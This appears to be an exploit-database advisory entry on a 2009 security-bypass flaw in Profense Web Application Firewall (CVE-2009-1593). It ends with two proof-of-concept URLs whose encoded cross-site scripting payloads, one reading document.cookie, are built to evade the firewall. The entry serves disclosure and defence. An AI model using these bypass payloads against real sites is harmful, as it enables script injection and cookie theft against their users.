Profense 2.2.20/2.4.2 - Web Application Firewall Security Bypass

Author: EnableSecurity
type: webapps
platform: php
port: 
date_added: 2009-05-20  
date_updated: 2014-04-24  
verified: 1  
codes: CVE-2009-1593;OSVDB-54678  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 33002.txt  
source: https://www.securityfocus.com/bid/35053/info

Profense Web Application Firewall is prone to multiple security-bypass vulnerabilities.

An attacker can exploit these issues to bypass certain security restrictions and perform various web-application attacks.

Versions *prior to* the following are vulnerable:

Profense 2.4.4
Profense 2.2.22

http://www.example.com/phptest/xss.php?var=%3CEvil%20script%20goes%20here%3E=%0AByPass
http://www.example.com/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E